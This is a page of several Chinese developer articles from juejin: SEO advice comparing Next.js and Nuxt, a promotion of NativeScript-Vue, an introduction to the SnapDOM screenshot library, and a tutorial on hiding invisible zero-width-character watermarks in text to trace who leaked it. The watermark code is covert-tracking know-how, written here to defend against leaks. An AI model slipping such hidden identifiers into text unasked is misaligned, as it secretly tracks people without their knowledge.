性能优化技巧:使用 ISR 为动态内容设置合理重新验证时间、尽可能使用 Server Components 减少客户端 JavaScript、使用 next/image 自动优化图片、使用 next/font 优化字体加载、配置 experimental.ppr 启用部分预渲染、使用 Suspenseloading.js 改善感知性能、代码分割按需加载、优化第三方脚本加载、使用 @next/bundle-analyzer 分析包大小、配置合理的缓存策略。


// Next.js 性能优化配置
const nextConfig = {
experimental: {
ppr: true,
optimizeCss: true,
optimizePackageImports: ["lodash", "date-fns"],
},
images: {
domains: ["cdn.example.com"],
formats: ["image/avif", "image/webp"],
},
};

框架无关的通用优化


无论选择哪个框架,以下优化都是必要的:使用 CDN 加速静态资源、启用 Gzip 或 Brotli 压缩、配置合理的缓存策略、优化首屏渲染延迟加载非关键资源、减少 HTTP 请求数量、使用 HTTP/2 或 HTTP/3、优化数据库查询、使用 Redis 等缓存层、监控真实用户性能数据、定期进行性能审计。


决策流程


如果主要关心 SEO,两个框架都完全够用,选择团队熟悉的即可,把精力放在内容质量和技术实现上。如果项目需要复杂数据结构,Nuxtdevalue 机制会让开发更便捷。如果追求极致性能指标,Next.js 的压缩方案可能略好一点,但差异在实际 SEO 排名中几乎可以忽略。如果被第三方生态绑定,这可能是最重要的决策因素。


决策流程建议:评估团队现有技术栈(如果已有 React/Vue 项目保持一致)、分析项目需求(内容型倾向 Nuxt、应用型倾向 Next.js)、检查第三方依赖(列出必需的库、确认是否有对应生态版本)、考虑部署环境(Vercel 对 Next.js 有特殊优化、Netlify 和 Cloudflare Pages 两者都支持)、评估长期维护成本(框架更新频率和稳定性、社区支持和文档质量)。


结语


通过深入分析技术原理和实际应用案例,可以得出一个明确的结论:框架之间的差异是细微的,对 SEO 的影响更是微乎其微。


选择你熟悉的、团队能驾驭的、生态适合的框架,然后专注于创造优质内容和良好的用户体验。这才是 SEO 成功的根本。技术框架只是实现目标的工具,真正决定网站排名和用户满意度的,始终是内容的质量和服务的价值。


理解技术决策的权衡,认清 SEO 的本质,基于实际需求选择,避免过度优化,把精力放在真正重要的地方。这些才是从技术讨论中应该获得的核心启示。


SEO 是一个系统工程,涉及技术、内容、营销等多个方面。框架选择只是技术层面的一个小环节。即使选择了最适合 SEO 的框架,如果内容质量不佳、用户体验糟糕、营销策略失败,网站依然无法获得好的排名。


相反,即使使用了理论上性能稍差的框架,但如果能够持续输出高质量内容、构建良好的用户体验、实施正确的 SEO 策略,网站依然可以获得优秀的搜索排名。这才是 SEO 的真谛。


最后,技术在不断演进。Next.jsNuxt 都在快速迭代,引入新的特性和优化。今天的分析可能在明天就过时了。保持学习、关注技术动态、根据实际情况调整策略,这才是长久之计。


参考资料



  1. Nuxt SEO 官方文档:nuxtseo.com

  2. Next.js SEO 最佳实践:nextjs.org/docs/app/bu…

  3. Devalue 序列化库:github.com/Rich-Harris…

  4. Google 搜索中心文档:developers.google.com/search

  5. Core Web Vitals 指标说明:web.dev/vitals/

  6. Schema.org 结构化数据规范:schema.org/

  7. Nuxt 官方文档:nuxt.com/docs

  8. Next.js 官方文档:nextjs.org/docs

  9. Nitro 服务引擎:nitro.unjs.io/

  10. Web.dev 性能优化指南:web.dev/performance…


作者:Moment
来源:juejin.cn/post/7586505172816150579
收起阅读 »

弃用 uni-app!Vue3 的原生 App 开发框架来了!

web
长久以来,"用 Vue 3 写真正的原生 App" 一直是块短板。 uni-app 虽然"一套代码多端运行",但性能瓶颈、厂商锁仓、原生能力羸弱的问题常被开发者诟病。 整个 Vue 生态始终缺少一个能与 React Native 并肩的"真·原生"跨平台方案 ...
继续阅读 »

长久以来,"用 Vue 3 写真正的原生 App" 一直是块短板。


uni-app 虽然"一套代码多端运行",但性能瓶颈厂商锁仓原生能力羸弱的问题常被开发者诟病。


整个 Vue 生态始终缺少一个能与 React Native 并肩的"真·原生"跨平台方案


直到 NativeScript-Vue 3 的横空出世,并被 尤雨溪 亲自点赞。



为什么是时候说 goodbye 了?


uni-app 现状开发者痛点
渲染层基于 WebView 或弱原生混合启动慢、掉帧、长列表卡顿
自定义原生 SDK 需写大量 renderjs / plus 桥接维护成本高,升级易断裂
锁定 DCloud 生态工程化、VitePinia 等新工具跟进慢
Vue 3 支持姗姗来迟,Composition API 兼容碎裂类型推断、生态插件处处踩坑

"我们只是想要一个 Vue 语法 + 真原生渲染 + 社区插件开箱即用 的解决方案。"

—— 这,正是 NativeScript-Vue 给出的答案。


尤雨溪推特背书


2025-10-08Evan You 转发 NativeScript 官方推文:



"Try Vite + NativeScript-Vue today — HMR, native APIs, live reload."




配图是一段 <script setup> + TypeScript 的实战 Demo,意味着:



  • 真正的 Vue 3 语法Composition API

  • Vite 秒级热重载

  • 直接调用 iOS / Android 原生 API


获创始人的公开推荐,无疑给社区打了一剂强心针。


NativeScript-Vue 是什么?


一句话:Vue 的自定义渲染器 + NativeScript 原生引擎




  • 运行时 没有 WebView,JS 在 V8 / JavaScriptCore 中执行

  • <template> 标签 → 原生 UILabel / android.widget.TextView

  • 支持 NPM、CocoaPods、Maven/Gradle 全部原生依赖

  • React Native 同级别的性能,却拥有 Vue 完整开发体验


5 分钟极速上手


1. 环境配置(一次过)


# Node ≥ 18
npm i -g nativescript
ns doctor # 按提示安装 JDK / Android Studio / Xcode
# 全部绿灯即可

2. 创建项目


ns create myApp \
--template @nativescript-vue/template-blank-vue3@latest
cd myApp


模板已集成 Vite + Vue3 + TS + ESLint



3. 运行 & 调试


# 真机 / 模拟器随你选
ns run ios
ns run android

保存文件 → 毫秒级 HMRconsole.log 直接输出到终端。


4. 目录速览


myApp/
├─ app/
│ ├─ components/ // 单文件 .vue
│ ├─ app.ts // createApp()
│ └─ stores/ // Pinia 状态库
├─ App_Resources/
└─ vite.config.ts // 已配置 nativescript-vue-vite-plugin

5. 打包上线


ns build android --release   # 生成 .aab / .apk
ns build ios --release # 生成 .ipa

签名渠道自动版本号——标准原生流程,CI 友好。


Vue 3 生态插件兼容性一览


插件是否可用说明
Pinia零改动,app.use(createPinia())
VueUse⚠️无 DOM 的 Utilities 可用
vue-i18n 9.x实测正常
Vue Router官方推荐用 NativeScript 帧导航$navigateTo(Page)
Vuetify / Element Plus依赖 CSS & DOM,无法渲染

检测小技巧:


npm i xxx
grep -r "document\|window\|HTMLElement" node_modules/xxx || echo "大概率安全"

调试神器:Vue DevTools 支持


NativeScript-Vue 3 已提供 官方 DevTools 插件



  • 组件树PropsEventsPinia 状态 实时查看

  • 沿用桌面端调试习惯,无需额外学习成本


👉 配置指南:https://nativescript-vue.org/docs/essentials/vue-devtools


插件生态 & 原生能力



  • 700+ NativeScript 官方插件

    ns plugin add @nativescript/camera | bluetooth | sqlite...

  • iOS/Android SDK 直接引入

    CocoaPods / Maven 一行配置即可:


 // 调用原生 CoreBluetooth
import { CBCentralManager } from '@nativescript/core'


  • 自定义 View & 动画

    注册即可在 <template> 使用,与 React Native 造组件体验一致


结语:这一次,Vue 开发者不再低人一等


React NativeFacebook 撑腰,FlutterGoogle 背书,


现在 Vue 3 也有了自己的 真·原生跨平台答案 —— NativeScript-Vue


它让 Vue 语法第一次 完整、无损、高性能 地跑在 iOS & Android 上,

并获得 尤雨溪 公开点赞与 Vite 官方生态加持。


弃用 uni-app,拥抱 NativeScript-Vue

性能、原生能力、工程化 三者兼得,

用你最爱的 .vue 文件,写最硬核的移动应用!


🔖 一键直达资源



作者:前端开发爱好者
来源:juejin.cn/post/7560510073950011435
收起阅读 »

弃用 html2canvas!快 93 倍的截图神器

web
在前端开发中,网页截图是个常用功能。从前,html2canvas 是大家的常客,但随着网页越来越复杂,它的性能问题也逐渐暴露,速度慢、占资源,用户体验不尽如人意。 好在,现在有了 SnapDOM,一款性能超棒、还原度超高的截图新秀,能完美替代 html2can...
继续阅读 »

在前端开发中,网页截图是个常用功能。从前,html2canvas 是大家的常客,但随着网页越来越复杂,它的性能问题也逐渐暴露,速度慢占资源,用户体验不尽如人意。


好在,现在有了 SnapDOM,一款性能超棒还原度超高的截图新秀,能完美替代 html2canvas,让截图不再是麻烦事。



什么是 SnapDOM


SnapDOM 就是一个专门用来给网页元素截图的工具。



它能把 HTML 元素快速又准确地存成各种图片格式,像 SVGPNGJPGWebP 等等,还支持导出为 Canvas 元素。



它最厉害的地方在于,能把网页上的各种复杂元素,比如 CSS 样式、伪元素Shadow DOM内嵌字体背景图片,甚至是动态效果的当前状态,都原原本本地截下来,跟直接看网页没啥两样。


SnapDOM 优势


快得飞起


测试数据显示,在不同场景下,SnapDOM 都把 html2canvasdom-to-image 这俩老前辈远远甩在身后。



尤其在超大元素(4000×2000)截图时,速度是 html2canvas93.31 倍,比 dom-to-image 快了 133.12 倍。这速度,简直就像坐火箭。


还原度超高


SnapDOM 截图出来的效果,跟在网页上看到的一模一样。


各种复杂的 CSS 样式、伪元素Shadow DOM内嵌字体背景图片,还有动态效果的当前状态,都能精准还原。



无论是简单的元素,还是复杂的网页布局,它都能轻松拿捏。


格式任你选


不管你是想要矢量图 SVG,还是常用的 PNGJPG,或者现代化的 WebP,又或者是需要进一步处理的 Canvas 元素,SnapDOM 都能满足你。



多种格式,任你挑选,适配各种需求。


三、怎么用 SnapDOM


安装


SnapDOM 的安装超简单,有好几种方式:


NPMYarn:在命令行里输


# npm
npm i @zumer/snapdom

# yarn
yarn add @zumer/snapdom

就能装好。


CDNHTML 文件里加一行:


<script src="https://unpkg.com/@zumer/snapdom@latest/dist/snapdom.min.js"></script>

直接就能用。


要是项目里用的是 ES Module:


import { snapdom } from '@zumer/snapdom

基础用法示例


一键截图


const card = document.querySelector('.user-card');
const image = await snapdom.toPng(card);
document.body.appendChild(image);

这段代码就是找个元素,然后直接截成 PNG 图片,再把图片加到页面上。简单粗暴,一步到位。


高级配置


const element = document.querySelector('.chart-container');
const capture await snapdom(element, {
    scale2,
    backgroundColor'#fff',
    embedFontstrue,
    compresstrue
});
const png = await capture.toPng();
const jpg = await capture.toJpg({ quality0.9 });
await capture.download({
    format'png',
    filename'chart-report-2024'
});

这儿可以对截图进行各种配置。比如 scale 能调整清晰度,backgroundColor 能设置背景色,embedFonts 可以内嵌字体,compress 能压缩优化。配置好后,还能把截图存成不同格式,或者直接下载到本地。


和其他库比咋样


html2canvasdom-to-image 比起来,SnapDOM 的优势很明显:


特性SnapDOMhtml2canvasdom-to-image
性能⭐⭐⭐⭐⭐⭐⭐
准确度⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
文件大小极小较大中等
依赖
SVG 支持
Shadow DOM 支持
维护状态活跃活跃停滞

五、用的时候注意点


SnapDOM 时,有几点得注意:


跨域资源


要是截图里有外部图片等跨域资源,得确保这些资源支持 CORS,不然截不出来。


iframe 限制


SnapDOM 不能截 iframe 内容,这是浏览器的安全限制,没办法。


Safari 浏览器兼容性


在 Safari 里用 WebP 格式时,会自动变成 PNG。


大型页面截图


截超大页面时,建议分块截,不然可能会内存溢出


六、SnapDOM 能干啥及代码示例


社交分享


async function shareAchievement() {
    const card = document.querySelector('.achievement-card');
    const image = await snapdom.toPng(card, { scale2 });
    navigator.share({
        files: [new File([await snapdom.toBlob(card)], 'achievement.png')],
        title'我获得了新成就!'
    });
}

报表导出


async function exportReport() {
    const reportSection = document.querySelector('.report-section');
    await preCache(reportSection);
    await snapdom.download(reportSection, {
        format'png',
        scale2,
        filename`report-${new Date().toISOString().split('T')[0]}`
    });
}

海报导出


async function generatePoster(productData) {
    document.querySelector('.poster-title').textContent = productData.name;
    document.querySelector('.poster-price').textContent = ${productData.price}`;
    document.querySelector('.poster-image').src = productData.image;
    await new Promise((resolve) => setTimeout(resolve, 100));
    const poster = document.querySelector('.poster-container');
    const blob = await snapdom.toBlob(poster, { scale3 });
    return blob;
}

写在最后


SnapDOM 就是这么一款简单、快速、准确,还零依赖的网页截图神器。


无论是社交分享、报表导出、设计保存,还是营销推广,它都能轻松搞定。


而且它是免费开源的,背后还有活跃的社区支持。要是你还在为网页截图的事儿发愁,赶紧试试 SnapDOM 吧。




要是你在用 SnapDOM 的过程中有啥疑问,或者碰上啥问题,可以去下面这些地方找答案:



作者:前端开发爱好者
来源:juejin.cn/post/7544287909475090451
收起阅读 »

如何用隐形字符给公司内部文档加盲水印?(抓内鬼神器🤣)

web
大家好😁。 上个月,我们公司的内部敏感文档(PRD)截图,竟然出现在了竞品的群里。 老板大发雷霆,要求技术部彻查:到底是谁泄露出去的?😠 但问题是,文档是纯文本的,截图上也没有任何显式的水印(那种写着员工名字的大黑字,太丑了,产品经理也不让加)。 怎么查? 这...
继续阅读 »

image.png


大家好😁。


上个月,我们公司的内部敏感文档(PRD)截图,竟然出现在了竞品的群里。


老板大发雷霆,要求技术部彻查:到底是谁泄露出去的?😠


但问题是,文档是纯文本的,截图上也没有任何显式的水印(那种写着员工名字的大黑字,太丑了,产品经理也不让加)。


怎么查?


这时候,我默默地打开了我的VS Code,给老板演示了一个技巧


老板,其实泄露的那段文字里,藏着那个人的工号,只是你肉眼看不见。


今天,我就来揭秘这个技术——基于零宽字符(Zero Width Characters)的盲水印技术。学会这招,你也能给你的页面加上隐形追踪器。




先科普一下,什么叫零宽字符?


在Unicode字符集中,有一类神奇的字符。它们存在,但不占用任何宽度,也不显示任何像素


简单说,它们是隐形的。


最常见的几个:



  • \u200b (Zero Width Space):零宽空格

  • \u200c (Zero Width Non-Joiner):零宽非连字符

  • \u200d (Zero Width Joiner):零宽连字符


我们可以在Chrome控制台里试一下:


console.log('A' + '\u200b' + 'B');
// 输出: "AB"
// 看起来和普通的 "AB" 一模一样

但是,如果我们检查它的长度:


console.log(('A' + '\u200b' + 'B').length);
// 输出: 3

看到没?😁


image.png




它的原理是什么?


原理非常简单,就是利用这些隐形字符,把用户的信息(比如工号User_9527),编码进一段正常的文本里。


步骤如下:



  1. 准备密码本 :我们选两个零宽字符,代表二进制的 01



    • \u200b 代表 0

    • \u200c 代表 1

    • 再用 \u200d 作为分割符。



  2. 加密(编码)



    • 把工号字符串(如 9527)转成二进制。

    • 把二进制里的 0/1 替换成对应的零宽字符。

    • 把这串隐形字符串,插入到文档的文字中间。



  3. 解密(解码)



    • 拿到泄露的文本,提取出里面的零宽字符。

    • 把零宽字符还原成 0/1。

    • 把二进制转回字符串,锁定👉这个内鬼。




是不是很神奇?🤣




只需要30行代码实现抓内鬼工具


不废话,直接上代码。你可以直接复制到控制台运行。


加密函数 (Inject Watermark)


// 零宽字符字典
const zeroWidthMap = {
'0': '\u200b', // Zero Width Space
'1': '\u200c', // Zero Width Non-Joiner
};

function textToBinary(text) {
return text.split('').map(char =>
char.charCodeAt(0).toString(2).padStart(8, '0') // 转成8位二进制
).join('');
}

function encodeWatermark(text, secret) {
const binary = textToBinary(secret);
const hiddenStr = binary.split('').map(b => zeroWidthMap[b]).join('');

// 将隐形字符,插入到文本的第一个字符后面
// 你也可以随机分散插入,更难被发现
return text.slice(0, 1) + hiddenStr + text.slice(1);
}

// === 测试 ===
const originalText = "公司机密文档,严禁外传!";
const userWorkId = "User_9527";

const watermarkText = encodeWatermark(originalText, userWorkId);

console.log("原文:", originalText);
console.log("带水印:", watermarkText);
console.log("肉眼看得出区别吗?", originalText === watermarkText); // false
console.log("长度对比:", originalText.length, watermarkText.length);

image.png


image.png


当你把 watermarkText 复制到微信、飞书或者任何地方,那串隐形字符都会跟着一起被复制过去


解密函数的实现


现在,假设我们拿到了泄露出去的这段文字,怎么还原出是谁干的?


// 反向字典
const binaryMap = {
'\u200b': '0',
'\u200c': '1',
};

function decodeWatermark(text) {
// 1. 提取所有零宽字符
const hiddenChars = text.match(/[\u200b\u200c]/g);
if (!hiddenChars) return '未发现水印';

// 2. 转回二进制字符串
const binaryStr = hiddenChars.map(c => binaryMap[c]).join('');

// 3. 二进制转文本
let result = '';
for (let i = 0; i < binaryStr.length; i += 8) {
const byte = binaryStr.slice(i, i + 8);
result += String.fromCharCode(parseInt(byte, 2));
}

return result;
}

// === 测试抓内鬼 ===
const leakerId = decodeWatermark(watermarkText);
console.log("抓到内鬼工号:", leakerId); // 输出: User_9527

微信或者飞书 复制出来的文案 👇


image.png




这种水印能被清除吗?


当然可以,但前提是你知道它的存在


对于不懂技术的普通员工,他们复制粘贴文字时,根本不会意识到自己已经暴露了🤔


如果遇到了懂技术的内鬼,他可能会:



  1. 手动重打一遍文字:这样水印肯定就丢了(但这成本太高)🤷‍♂️

  2. 用脚本过滤:如果他知道你用了零宽字符,写个正则 text.replace(/[\u200b-\u200f]/g, '') 就能清除。


虽然它不是万能的,但它是一种极低成本、极高隐蔽性的防御手段。




技术本身就没什么善恶。


我分享这个技术,不是为了让你去监控谁,而是希望大家多掌握一种防御性编程的一个思路。


在Web开发中,除了明面上的UI和交互,还有很多像零宽字符这样隐秘的角落,藏着一些技巧。


下次如果面试官问你:除了显式的水印,你还有什么办法保护页面内容?


你可以自信地抛出这个方案,绝对能震住全场😁。


谢谢大家.gif


作者:ErpanOmer
来源:juejin.cn/post/7578402574653112372
收起阅读 »

🌸 入职写了一个月全栈next.js 感想

web
背景介绍 最近组内要做0-1的新ai产品, 招我进来就是负责这个ai产品,启动的时候这个季度就剩下两个月了,天天开会对齐进度,一个月就已经把基础版本给做完了,想要接入到现有的业务上面,时间方面就特别紧张,技术选型怎么说呢, leader用ai写了一个版本 我...
继续阅读 »

背景介绍



  • 最近组内要做0-1的新ai产品, 招我进来就是负责这个ai产品,启动的时候这个季度就剩下两个月了,天天开会对齐进度,一个月就已经把基础版本给做完了,想要接入到现有的业务上面,时间方面就特别紧张,技术选型怎么说呢, leader用ai写了一个版本 我们在现有的代码进行二次开发这样, 全栈next.js 要学习的东西太多了 又没有前端基础,没有ai coding很难完成任务(十几分钟干完我一天的工作 claude4.5效果还不错 进度推的特别快), 自从trae下架了claude,后面就一直cursor claude 4.5了。



    • nextjs+ts+tailwindcss+shadcn ui现在是mvp套餐,startup在梭哈,时间就是生产力哪需要那么多差异化样式直接一把,有的💰才开始做细节,你会发现慢慢也💩化了。

    • Nextjs 是全栈框架 可以很快把一个MVP从零到一完整跑起来。 你要是抬杠说什么高并发负载均衡啥的,你的用户数量真多到需要考虑性能的时候,你已经不需要自己考虑了(小红书看到的一段话 挺符合场景的)

    • next.js 写后端 确实比较轻量 只能做一些curd的操作 socket之类的不太合适 其他api 还是随便开发 给我的感受就是前端能够直接操作db,前后端仓库可以不分离,业务逻辑还是一定要分离的 看看开源的next.js 项目的架构设计结构是怎么样的 学习/模仿/改造。

    • 语言只是工具,适合最重要,技术没有银弹



  • nextjs.org/ github.com/vercel/next…
    image.png


项目的时间线



项目从启动到这周 大概是5周的时间




  • 10/28-10/31 Week 1

    • 项目初始化/需求讨论/设计文档/

    • 后端next.js, typescript技术熟悉 项目运行/调试

    • 基础框架搭建 设计表结构ddl, 集成mysql, 编写crud接口阶段



  • 11/03-11/07 Week 2

    • 产品PRD 提供

    • xxxx等表设计



  • 11/10-11/14 Week 3

    • xxxxx 基本功能完结

    • @xxxx 讲解项目结构/规范



  • 11/17-11/21 Week 4

    • 首页样式/逻辑 优化

    • 集成统一登录调研

    • 部署完成



  • 11/24-11/28 Week 5

    • 服务推理使用Authorization鉴权 对内接口使用Cookies (access_token) 鉴权 开发

    • xxxx 表设计表设计 逻辑开发

    • xxx设计 设计开发

    • 联调xxxx





5周时间 功能基本完成了 剩下的就是部署到线上 进行场景实践了



前端技术栈



  • Next.js 14:选择 App Router 架构,支持服务端渲染和 API Routes

  • TypeScript 5.4:强类型语言提升代码质量和可维护性

  • React 18:利用并发特性和 Suspense 提升用户体验

  • Zustand:轻量级状态管理,替代 Redux 降低复杂度

  • Ant Design + Radix UI:组件库组合,平衡美观性和可访问性


React + TypeScript react.dev/



  • 优势:类型安全:TypeScript 提供编译时类型检查,减少运行时错误 ✅ 组件化开发:高度可复用的组件设计 ✅ 生态成熟:丰富的第三方库和工具链 ✅ 开发体验:优秀的 IDE 支持和调试工具

  • 劣势:学习曲线:TypeScript 对新手有一定门槛 ❌ 编译时间:大型项目编译可能较慢 ❌ 配置复杂:类型定义需要额外维护


UI 组件方案 Ant Design + Radix UI 混合方案



  • 优势:快速开发:Ant Design 提供完整的企业级组件 ✅ 无障碍性:Radix UI 提供符合 WAI-ARIA 标准的组件 ✅ 定制灵活:Radix UI 无样式组件便于自定义 ✅ 中文支持:Ant Design 对中文界面友好

  • 劣势:包体积大:两个 UI 库增加了打包体积 ❌ 样式冲突:需要注意两个库的样式隔离❌ 维护成本:需要同时维护两套组件系统


Tailwind CSS



  • 优势:开发效率高:原子化类名,快速构建 UI ✅ 体积优化:生产环境自动清除未使用的样式 ✅ 一致性:设计系统内置,确保视觉一致 ✅ 响应式:便捷的响应式设计工具

  • 劣势:类名冗长:HTML 可能变得难以阅读 ❌ 学习成本:需要记忆大量类名 ❌ 非语义化:类名不直观反映元素意义


ant design x


ahooks


后端技术栈



  • Prisma 6.18:现代化 ORM,类型安全且支持 Migration

  • MySQL:成熟的关系型数据库,满足复杂查询需求

  • Redis (ioredis) :高性能缓存,支持多种数据结构

  • Winston:企业级日志系统,支持日志轮转和结构化输出

  • Zod:运行时类型验证,保障 API 数据安全


Next.js API Routes



  • 优势:统一代码库:前后端在同一项目中 ✅ 类型共享:TypeScript 类型可在前后端复用 ✅ 开发效率:无需配置跨域、代理等 ✅ 部署简单:单一应用部署

  • 劣势:扩展性限制:无法独立扩展后端服务 ❌ 性能瓶颈:Node.js 单线程可能成为瓶颈 ❌ 微服务困难:不适合复杂的微服务架构


Prisma ORM



  • 优势:类型安全:自动生成 TypeScript 类型 ✅ 迁移管理:声明式 schema,易于版本控制 ✅ 查询性能:生成优化的 SQL 查询 ✅ 关系处理:直观的关系查询 API ✅ 多数据库支持:支持 MySQL、PostgreSQL、SQLite 等

  • 劣势:复杂查询:某些复杂 SQL 可能需要原始查询 ❌ 生成代码体积:生成的 client 文件较大 ❌ 版本升级:大版本升级可能需要迁移


踩坑记录



主要是记录一些开发过程中踩坑 和设计问题




  • node js 项目 jean部署

  • 自定义配置/dockerfile配置 没有类似项目参考 健康检查问题 加上环境变量配置多环境 一步一步

  • next.js 中 用middleware进行接口拦截鉴权 里面有prisma path import 直接出现了Edge Runtime 异常 自定义auth 解决

  • npm build 项目 踩坑

  • 静态渲染流程 动态api 警告 强制动态渲染

  • 其他组件 document 不支持build问题

  • 保存多场景模式+构建版本管理第一版考虑的太少了,发现有问题 后面又重构了一版本

  • xxx日志目前还没有接入 要不就是日志文件 要不就是console.log 目前看日志的方式是去容器化运行日志看了 后续集群部署就比较麻烦了

  • ant design 版本降低到6.0以下 ant-design x 用不了2.0.0 的一些对话组件


Next.js实践的项目记录


苏州 trae friends线下黑客松 📒



  • 去Trae pro-Solo模式 苏州线下hackathon一趟, 基本都是一些独立开发者,一人一公司,三个小时做出一个产品用Trae-solo coder模式,不得不说trae内部集成的vercel部署很丝滑 react项目一键deploy访问 完全不用关系域名服务器, solo模式其实就是混合多种model使用进行输出 想要的效果还是得不断的调试 thiking太长,对于前后端分离项目 也能够同时关联进行思考规划。

  • 1点多到4点 coding时间 从0-1生成项目 使用trae pro solo模式 就3个小时 做不了什么大的东西 那就做个日语50音的网站呗 现场酒店的网基本用不了 我数据也很卡 用的旁边干中学老师的热点 用next.js tailwindcss ant design deepseek搭建的网页 够用了 最后vercel部署 trae自带集成 挺方便的 solo模式还是太慢了 接受不了 网站地址是 traekanastudio1ssw.vercel.app/ 功能就是假名+ai生成例句和单词 我都没有路演 最后拿优秀奖可能是我部署了吧 大部分人没部署 优秀奖就是卫衣了 蹭了一天的饭加零食 爽吃

  • http://www.xiaohongshu.com/explore/692… 小红书当时发的帖子 可以领奖品


image.png


Typescript的AI方向 langchain/langgraph支持ts



  • 最近在看的ts的ai框架 发现langchain 是支持ts的, langchain-chat 主要是使用langchain+langgraph 对ts进行实践 traechat-apps4y6.vercel.app/

  • 部署还踩坑了 MCP 在 Vercel 上不生效是因为 Vercel 是 serverless 环境,不支持运行持久的子进程。让我帮你解决这个问题:

  • 主要是对最近项目组内要用的到mcp/function call 进行实践操作 使用modelscope 上面开源的mcp进行尝试 使用vercel进行部署。

  • 最近看到小红书上面的3d 粒子 圣诞树有点火呀,自己也尝试下 效果很差 自己弄的提示词 可以去看看帖子上的提示词去试试 他们都是gemini pro 3玩的 我也去弄个gemini pro 3 账号去玩玩。

  • 还有一个3d粒子 跟着音乐动的的效果 下面的提示词可以试试


帮我构建一个极简科幻风格的 3D 音乐可视化网页。
视觉上参考 SpaceX 的冷峻美学,全黑背景,去装饰化。核心是一个由数千个悬浮粒子组成的‘生命体’,它必须能与声音建立物理连接:低音要像心脏搏动一样冲击屏幕,高音要像电流一样瞬间穿过点阵。
重点实现一种‘ACID 流体’视觉引擎:让粒子表面的颜色不再是静态的,而是像两种粘稠的荧光液体一样,在失重环境下互相吞噬、搅拌、流动,且流速由音乐能量驱动。

c88886c4c8c3a180a2dba52f17125dc1.jpg



image.png


image.png



ai方向 总结




  • a2a解决的是agent之间如何配合工作的问题 agent card定义名片 名称 版本 能力 语言 格式 task委托书 通信方式http 用户 客户端是主控 接受用户需求 制定具体任务 向服务器发出需求 任务分发 接受响应 服务器是各类部署好的agent 遵循一套结构化模式

  • mcp 解决的llm自主调用功能和工具问题

  • mcp 是解决 function call 协议的碎片化问题,多 agent 主要是为了做上下文隔离

  • 比如说手机有一个system agent 然后各个app有一个agent,用户语音输入买咖啡,然后system agent调用瑞幸agent 这样就是非侵入式 让app暴露系统a2a接口,感觉比mcp要更合理一点,不是单纯让app暴露tools,系统agent只需要做路由

  • 而且有一点我觉得挺有意思的,就是自己的agent花的token是自己的钱,如果自己的agent找别人的agent,让它执行任务啥的,花的不就是别人的钱……

  • Dify:更像宜家的模块化家具,提供可视化工作流、预置模板,甚至支持“拖拽式”编排AI能力。比如,你想做一
    个智能客服,只需在界面里连接对话模型、知识库和反馈按钮,无需写一行代码



python 和ts 在ai上面的比较




  • Python 依然是 AI 训练和科研的王者,PyTorch、TensorFlow、scikit-learn 这些生态太厚实了,训练大模型你离不开它。

  • TS 在底层 AI 能力上还没那么能打,GPU 加速、模型优化这些,暂时还得靠 Python 打底。

  • Python 搞理论和模型,TypeScript卷体验和交付


个人学习记录



主要还是前端和ai方面的知识点学习的比较多吧




Vibe Coding



  • 先叠甲, 我没有前端的开发经验,第一次写前端项目,项目里面90%的前端代码都是ai 生成的,能够让你一个不会前端的同学也快速完成mvp版本/需求任务。我虽然很推ai coding 很喜欢用, 即时反馈带来的成就感, 但是对于生成的代码是不是屎山 大概率可能是了, 因为前期 AI速度快,制造屎山的速度更快。无论架构设计多优秀,也难避免屎山代码的宿命: 需求一直在变,你的架构设计是针对老的需求,随着新的需求增加,老的架构慢慢的就无法满足了,需要重构。

  • 一起开发的前端同事都说ai生成那些样式互相影响了,样式有tailwindcss 有自定义的css 每个模块又有不同 大概率出问题 有冲突,就是💩山。

  • 最大的开发障碍就是内心的偏见 不愿意放弃现在所擅长的东西 带着这份偏见不愿意去学习



对于ai coding 的话 用过trae-pro/cursor/qoder/copilot/codex等等 最终还是cursor claude 4.5用的最舒服



image.png



  • 基本一周一个cursor pro账号 买号都花了快1k了。


image.png



You have used up your included usage and are on pay-as-you-go which is charged based on model API rates. You have spent $0.00 in on-demand usage this month.



image.png


9e0f1cde2dbc3314e44150d1e544c77a.png



  • 最后就是需要学好英语 前端的技术文档都是英文的 虽然有中文的翻译版本, 但没有自己直接去看官方的强 难免有差异, 我现在都是用插件进行web翻译去看的 很累。

  • 现在时间是凌晨 11/30/02:36 喝了两瓶酒。这个周末我要重温甜甜的恋爱 给我也来一颗药丸 给时间是时间 让过去过去, 年底想去日本跨年了


image.png
image.png


作者:小佘ovo
来源:juejin.cn/post/7577713754562838580
收起阅读 »

那个把代码写得亲妈都不认的同事,最后被劝退了🤷‍♂️

web
大家好😁。 上上周,我们在例会上送别了团队里的一位技术大牛,阿K。 说实话,阿K 的技术底子很强。他能手写 Webpack 插件,熟读 ECMA 规范,对 Chrome 的渲染管线了如指掌。 但最终,CTO 还是决定劝退他了。 理由很残酷,只有一句话: 你的...
继续阅读 »

大家好😁。


上上周,我们在例会上送别了团队里的一位技术大牛,阿K。


说实话,阿K 的技术底子很强。他能手写 Webpack 插件,熟读 ECMA 规范,对 Chrome 的渲染管线了如指掌。


但最终,CTO 还是决定劝退他了。


Suggestion.gif


理由很残酷,只有一句话: 你的代码,团队里没人敢接手。🤷‍♂️


为了所谓的极致性能,牺牲代码的可读性,到底值不值?




事件的开始


我们有一个很普通的后台管理系统重构。


阿K 负责最核心的权限校验模块。这本是一个很简单的逻辑:后端返回一个权限列表,前端判断一下用户有没有某个按钮的权限。


普通人(比如我)大概会这么写:


// 一眼就能看懂
const hasPermission = (userPermissions, requiredPermission) => {
return userPermissions.includes(requiredPermission);
};

if (hasPermission(currentUser.permissions, 'DELETE_USER')) {
showDeleteButton();
}

但是,阿K 看到这段代码时,露出了鄙夷的神情😒。


includes 这种遍历操作太慢了!我们要处理的是十万级的用户并发(并没有),必须优化!


于是,他闭关三天,重写了整个模块。


Code Review 的时候,我们所有人都傻了。屏幕上出现了一堆我们看不懂的天书😖:


// 全程位运算,没有任何注释
const P = { r: 1, w: 2, e: 4, d: 8 };
const _c = (u, p) => (u & p) === p;

// 这里甚至用了一个位移掩码生成的哈希表
const _m = (l) => l.reduce((a, c) => a | (P[c] || 0), 0);

// 像不像一段乱码?
const chk = (u, r) => _c(_m(u.r), P[r]);

我问他:阿K,这 _c_m 是啥意思?能加个注释吗?


阿K 振振有词: 好的代码不需要注释!位运算是计算机执行最快的操作,比字符串比对快几百倍!这不仅仅是代码,这是对 CPU 的尊重,是艺术!


我: 。 。 。 。🤣


